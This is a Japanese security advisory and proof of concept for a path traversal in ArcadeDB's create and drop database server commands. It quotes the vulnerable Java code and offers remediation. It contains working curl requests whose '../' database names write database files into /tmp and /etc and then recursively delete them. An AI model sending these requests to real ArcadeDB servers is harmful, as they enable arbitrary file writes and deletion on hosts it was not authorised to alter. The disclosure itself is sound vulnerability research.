
CVE-2026-75855の概念実証。ArcadeDBのデータベース作成・削除コマンドにおけるパストラバーサルで、設定されたディレクトリ外への任意のファイル書き込み・削除を可能にします。
「create database」/「drop database」サーバーコマンドにおけるパストラバーサルにより、設定されたデータベースディレクトリ外での任意のファイル書き込み・削除が可能
POST /api/v1/server エンドポイントの create database および drop database コマンドは、呼び出し元が指定したデータベース名をサニタイズ、正規化、または包含チェックなしでファイルシステムパスの構築に使用します。ArcadeDB サーバーの root アカウントとして認証されたユーザーは、../ シーケンスを含む名前を指定することで、サーバープロセスが書き込み可能な任意の絶対ファイルシステムパスに、設定された arcadedb.server.databaseDirectory の完全に外側で、データベース全体(任意のファイルおよびディレクトリ)を作成(および後で削除)させることができます。
これは、クリーンな状態から2回独立してライブで検証されました。細工された create database コマンドが実際のデータベースファイルを /tmp/ に書き込み、別のテストでは /etc/ に書き込みました。同じトラバーサル文字列を使用した対応する drop database コマンドは、その後ディレクトリを再帰的に削除しました。
server/src/main/java/com/arcadedb/server/http/handler/PostServerCommandHandler.java:
private void createDatabase(final String databaseName) {
if (databaseName.isEmpty())
throw new IllegalArgumentException("Database name empty");
checkServerIsLeaderIfInHA();
final ArcadeDBServer server = httpServer.getServer();
final ServerDatabase db = server.createDatabase(databaseName, ComponentFile.MODE.READ_WRITE);
...
}
唯一の検証は空でないことのチェックのみです。databaseName は変更されずに ArcadeDBServer.createDatabase()(server/src/main/java/com/arcadedb/server/ArcadeDBServer.java:572)に渡されます:
final DatabaseFactory factory = new DatabaseFactory(
configuration.getValueAsString(GlobalConfiguration.SERVER_DATABASE_DIRECTORY) + File.separator
+ databaseName).setAutoTransaction(true);
これは生の文字列連結であり、Path.resolve() + 包含チェックではありません。DatabaseFactory(engine/src/main/java/com/arcadedb/database/DatabaseFactory.java)は、create()/open() がディスク上のファイルを書き込む前に、.normalize() を呼び出したり、解決されたパスが意図したベースディレクトリ内に留まることを検証したりすることはありません。
dropDatabase() にも同じ検証の欠如があり、サーバーは呼び出し元が指定したリテラル(トラバーサルを含む)名でデータベースを追跡するため、後続の drop database は create database が書き込んだディレクトリを再帰的に削除します。
checkRootUser(user) は両方のコマンドの前に強制されるため、これにはサーバーの root アカウントが必要です。ただし、ここでの root は ArcadeDB 独自のアプリケーションレベルのスーパーユーザーであり、必ずしもホストへの OS/シェルアクセスと同じ信頼レベルではありません。databaseDirectory の包含を破ることで、そのアプリケーションレベルのアカウントは、JVM プロセスが OS 権限を持つ任意の場所に任意のファイルを書き込み・削除できるようになります。
環境: ArcadeData/arcadedb @ コミット 545e703、ソースからビルド(./mvnw -pl engine,server -am install -DskipTests)、arcadedb.server.rootPassword を設定し arcadedb.server.databaseDirectory=/databases でスタンドアロン実行。
意図したデータベースディレクトリが空であることを確認します。
トラバーサルペイロードを含む create database コマンドを送信します:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"create database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"} HTTP 200
ls -la /tmp/arcadedb-traversal-poc/
→ configuration.json、schema.json、dictionary..dict、txlog_.wal — 完全で本物の ArcadeDB データベース。意図した databases/ ディレクトリは全体を通して空のままです。
list databases はリテラルのトラバーサル文字列を登録名として返し、正規化がゼロであることを確認します:{"result":["../../../../../../tmp/arcadedb-traversal-poc"]}
/etc/arcadedb-poc2 へのより深いトラバーサルで繰り返し実行 — 同様に成功し、書き込みが /tmp や特定のファイルシステム領域に限定されず、プロセスが書き込み可能なものにのみ限定されることを実証しました。また、最小限の単一レベル ../ トラバーサルでも再現され、偶然の結果ではなく真のパスエスケープであることを確認しました。
同じトラバーサル文字列を使用した drop database はディレクトリを再帰的に削除します:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"drop database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"}; その後ディレクトリが削除されたことを確認。
databaseDirectory サンドボックスの完全に外側で、サーバープロセスが書き込み可能な任意の絶対パスへの任意のファイル/ディレクトリ作成(create database 経由)および任意の再帰的削除(drop database 経由)。パス区切り文字(/、\)または .. セグメントを含むデータベース名を完全に拒否し(このクラスの識別子には単純な許可リスト正規表現、例: ^[A-Za-z0-9_-]+$ が標準)、さらに createDatabase と dropDatabase の両方で、ファイル操作の前に Path.resolve(name).normalize() で最終パスを防御的に解決し、設定されたベースディレクトリで始まることを検証します。
クレジット: Pervin Zahidli (@ech0void)